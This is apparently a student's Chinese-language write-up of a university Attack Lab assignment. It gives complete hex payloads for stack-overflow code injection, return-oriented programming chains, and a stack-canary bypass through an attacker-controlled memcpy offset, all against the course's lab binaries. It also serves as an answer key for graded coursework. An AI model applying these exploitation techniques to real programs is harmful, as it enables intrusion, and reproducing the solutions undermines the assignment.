Introduction
Attack Lab是ICS课程的第三个lab,顾名思义就是让我们想办法攻击一些程序,让其偏离原先的运行方式。这个lab的主要目的是理解缓冲区以及缓冲区溢出的隐患,以及相应的攻防。实验要求进行六次攻击,分别对应不同程度的防范,这可以说是所有lab里面最有趣的一个了。而且当时的树洞有很多求助贴却只得到了冷嘲热讽或者猜谜一般的回复,当且仅当你知道怎么写这个lab的时候你才能理解他们的“指点”。
或许你会觉得Alice已经给出了提醒,但是事实是:偏移的offset是0x128,所以如果你没有做出来根本就不能获得正确的提示,反而会被引入歧途,毕竟谁会想到128竟然是个十六进制的数呢。
Code Injection Attacks
前三个phase都是让程序运行我们写入的代码,所以我们要设置好运行的程序或者地址,然后让程序在ret时进入我们安排好的位置。
phase1
这是一个热身,只要把运行的位置跳转到touch1就可以了。
首先要获得可执行程序的反汇编代码。
打开ctarget.asm
文件,查看有关test的程序部分。在test调用getbuf之后会有ret指令,考虑用缓冲区溢出替换换来的返回地址,直接指向touch1。
1 2 3 4 5 6 7
| 00000000004018b2 <getbuf>: 4018b2: 48 83 ec 38 sub $0x38,%rsp 4018b6: 48 89 e7 mov %rsp,%rdi 4018b9: e8 31 03 00 00 callq 401bef <Gets> 4018be: b8 01 00 00 00 mov $0x1,%eax 4018c3: 48 83 c4 38 add $0x38,%rsp 4018c7: c3 retq
|
00000000004018b2 :
4018b2: 48 83 ec 38 sub $0x38,%rsp
4018b6: 48 89 e7 mov %rsp,%rdi
4018b9: e8 31 03 00 00 callq 401bef
4018be: b8 01 00 00 00 mov $0x1,%eax
4018c3: 48 83 c4 38 add $0x38,%rsp
4018c7: c3 retq
1 2 3 4 5 6 7
| 00000000004018b2 <getbuf>: 4018b2: 48 83 ec 38 sub $0x38,%rsp 4018b6: 48 89 e7 mov %rsp,%rdi 4018b9: e8 31 03 00 00 callq 401bef <Gets> 4018be: b8 01 00 00 00 mov $0x1,%eax 4018c3: 48 83 c4 38 add $0x38,%rsp 4018c7: c3 retq
|
touch1的地址是0x40193a,用小端法表示后的输入应当是
1 2 3 4 5 6 7 8
| 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3a 19 40 00 00 00 00 00
|
最后不要忘记加回车保留一个空行,然后用hex2raw转换为字符串,并且执行。
1 2
| ./hex2raw < 1.txt >1.bin ./ctarget -qi 1.bin
|
热身环节就做完了。
phase2
这个阶段要求执行touch2函数,并且要传入cookie作为参数,也就是把cookie放在%rdi里。 我的cookie是0x77c3944f。
这里考虑先编写一段代码将cookie放到%rdi并执行touch2函数,然后在getbuf的ret处将程序执行跳转到自己写的代码处。 编写一小段汇编
1 2 3
| movq $0x77c3944f,%rdi pushq $0x401968 ret
|
然后用gcc和objdump转换为二进制代码
1 2 3 4 5 6 7 8
| $ gcc -c 2.s $ objdump -d 2.o 2.o: 文件格式 elf64-x86-64 Disassembly of section .text: 0000000000000000 <.text>: 0: 48 c7 c7 4f 94 c3 77 mov $0x77c3944f,%rdi 7: 68 68 19 40 00 pushq $0x401968 c: c3 retq
|
要获得存放这段代码的位置,就要知道%rsp的值,幸运的是此处没有栈随机化,我们用gdb运行一次就可以知道这部分栈不变的位置
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| $ gdb ./ctarget (gdb) break getbuf (gdb) run -qi 1.bin (gdb) disas Dump of assembler code for function getbuf: => 0x00000000004018b2 <+0>: sub $0x38,%rsp 0x00000000004018b6 <+4>: mov %rsp,%rdi 0x00000000004018b9 <+7>: callq 0x401bef <Gets> 0x00000000004018be <+12>: mov $0x1,%eax 0x00000000004018c3 <+17>: add $0x38,%rsp 0x00000000004018c7 <+21>: retq End of assembler dump. (gdb) stepi 14 in buf.c (gdb) p /x $rsp $1 = 0x5561b7b8
|
这时得到的就是栈底的位置,直接把代码放在栈底并跳转到这个位置执行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| 48 c7 c7 4f 94 c3 77 68 68 19 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 b7 61 55
|
保存为2.txt,同样用hex2raw处理之后运行
1 2
| ./hex2raw < 2.txt >2.bin ./ctarget -qi 2.bin
|
第二关就过了。
phase3
这里要把cookie作为一个字符串传给touch3,跟phase2类似,将%rdi设为栈中cookie字符串的地址。 cookie转换成字符串后得到
此处考虑把cookie放在更高的位置,这样不容易被栈的变动更改。 小心计算cookie字符串的地址,与phase2类似编写汇编后得到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| 48 c7 c7 f8 b7 61 55 68 7f 1a 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 b7 61 55 00 00 00 00 37 37 63 33 39 34 34 66
|
保存为3.txt,同样用hex2raw处理之后运行
1 2
| ./hex2raw < 3.txt >3.bin ./ctarget -qi 3.bin
|
第三关就过了。
ROP Attack
phase4
从这关开始限制了可执行代码的区域,所以自己编写程序已经行不通了。但是实验已经设置了一个gadget farm,在这些代码中从某些特殊的位置开始执行,会有完全不同的效果。将多个gadget联合起来使用,就相当于执行了一条条汇编指令。 具体的实现实验说明上有写,网上一些博客也写的非常清楚,所以我略过说明直接开始做题。
要把cookie放到%rdi,一样考虑从栈popq到寄存器,所以在gadget farm查找popq %rdi的命令段。
然后就会发现找不到。
所以考虑迂回战术,先popq到另外的寄存器,然后movq到%rdi。这里正好有如下实现方式
1 2
| popq %rax movq %rax, %rdi
|
1 2 3
| 0000000000401b7c <setval_125>: 401b7c: c7 07 11 09 58 90 movl $0x90580911,(%rdi) 401b82: c3 retq
|
例如以上代码,58表示popq %rax,90是nop,c3是ret,就完成了汇编目的的第一行,所以起始代码位置应该是0x401b80。
寻找另一代码的地址,可以得到如下字符串
1 2 3 4 5 6 7 8 9 10 11
| 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 1b 40 00 00 00 00 00 4f 94 c3 77 00 00 00 00 6a 1b 40 00 00 00 00 00 f6 18 40 00 00 00 00 00
|
进行验证,成功。
phase5
在这一题需要传cookie的字符串作为参数,但是由于栈随机化策略,我们不能知道存放字符串的绝对地址,只能根据运行时的%rsp进行推算。所以解题的思路就是:
在适当的位置放入字符串
得到某个时刻%rsp的位置
对这个位置进行适当的偏移作为字符串的地址
第三步需要用到加法,但是gadget中并没有addq的指令编码,仔细观察可以看到gadget中原来就有一个add_xy
1 2 3
| 0000000000401b89 <add_xy>: 401b89: 48 8d 04 37 lea (%rdi,%rsi,1),%rax 401b8d: c3 retq
|
所以我之前总是说lab最好团队做,看教程做,这种一方面让你找ROP,另一方面又有这种直接用整段代码的题目有点像脑筋急转弯,想不到的话却是浪费时间。 那么思路就成了怎么把%rsp和偏移放到%rdi和%rsi,然后怎么把%rax放到%rdi。一样是迂回策略,仔细研究就可以发现以下路径:
1 2 3 4 5 6 7 8 9 10 11
| popq %rax 401b80 0x20 movl %eax,%ecx 401bd8 movl %ecx,%edx 401c57 movl %edx,%esi 401c1a movq %rsp,%rax 401baa movq %rax,%rdi 401b4f lea (%rdi,%rsi,1),%rax 401b89 movq %rax,%rdi 401b4f %rdi = %rsp + 0x20 touch3 cookie
|
得到%rsp的时候和cookie的地址差了4条指令,所以偏移就是32,当然如果先取出了%rsp,那么偏移就要相应更改。
得到如下结果:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 1b 40 00 00 00 00 00 20 00 00 00 00 00 00 00 d8 1b 40 00 00 00 00 00 57 1c 40 00 00 00 00 00 1a 1c 40 00 00 00 00 00 aa 1b 40 00 00 00 00 00 4f 1b 40 00 00 00 00 00 89 1b 40 00 00 00 00 00 4f 1b 40 00 00 00 00 00 0d 1a 40 00 00 00 00 00 37 37 63 33 39 34 34 66 00 00 00 00 00 00 00 00
|
phase6
这是CMU原版lab没有的一个phase,网上也鲜有教程,树洞还都是谜语人,唉。。。。。。。
直接来看getbuf_withcanary
,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| 0000000000401ad5 <getbuf_withcanary>: 401ad5: 55 push %rbp 401ad6: 48 89 e5 mov %rsp,%rbp 401ad9: 48 81 ec 20 01 00 00 sub $0x120,%rsp 401ae0: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax 401ae7: 00 00 401ae9: 48 89 45 f8 mov %rax,-0x8(%rbp) 401aed: 31 c0 xor %eax,%eax 401aef: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%rbp) 401af6: 48 8d 85 60 ff ff ff lea -0xa0(%rbp),%rax 401afd: 48 89 c7 mov %rax,%rdi 401b00: e8 0c 02 00 00 callq 401d11 <Gets> 401b05: 8b 45 e4 mov -0x1c(%rbp),%eax 401b08: 48 98 cltq 401b0a: 48 8d 95 e0 fe ff ff lea -0x120(%rbp),%rdx 401b11: 48 8d 0c 02 lea (%rdx,%rax,1),%rcx 401b15: 48 8d 85 60 ff ff ff lea -0xa0(%rbp),%rax 401b1c: ba 80 00 00 00 mov $0x80,%edx 401b21: 48 89 c6 mov %rax,%rsi 401b24: 48 89 cf mov %rcx,%rdi 401b27: e8 d4 f2 ff ff callq 400e00 <memcpy@plt> 401b2c: b8 01 00 00 00 mov $0x1,%eax 401b31: 48 8b 75 f8 mov -0x8(%rbp),%rsi 401b35: 64 48 33 34 25 28 00 xor %fs:0x28,%rsi 401b3c: 00 00 401b3e: 74 05 je 401b45 <getbuf_withcanary+0x70> 401b40: e8 7f 06 00 00 callq 4021c4 <__stack_chk_fail> 401b45: c9 leaveq 401b46: c3 retq
|
直接想要写爆缓冲区是不可能的,canary的值会被更改。但是此处有一个魔幻的memcpy,其中的参数是可以通过写入字符串来修改的。所以我们可以考虑进行一些精巧的设定,在memcpy时正好把代码块放到canary之上覆盖原先的返回地址,从而达成劫持的目的。
source的起始位置已经定了就是读入字符串开始的位置,dest的位置应该是canary之上正好是返回地址的开始位置,所以是从栈底往上0x120+8也就是0x128的位置,然后把之前phase5的代码搬运到最开头即可。运行时memcpy之后代码就跑到了和phase5一样的位置上了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| 80 1b 40 00 00 00 00 00 20 00 00 00 00 00 00 00 d8 1b 40 00 00 00 00 00 57 1c 40 00 00 00 00 00 1a 1c 40 00 00 00 00 00 aa 1b 40 00 00 00 00 00 4f 1b 40 00 00 00 00 00 89 1b 40 00 00 00 00 00 4f 1b 40 00 00 00 00 00 0d 1a 40 00 00 00 00 00 37 37 63 33 39 34 34 66 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
验证一下,确实没有问题。
Conclusion
过了一年再来重写这个lab(原先忘记保存了哭),还是花了好长的时间,网上居然依然找不到2020年的解题报告,不得不感叹人心不古啊,现在都没有人愿意造福后代了。
唉。。。。。。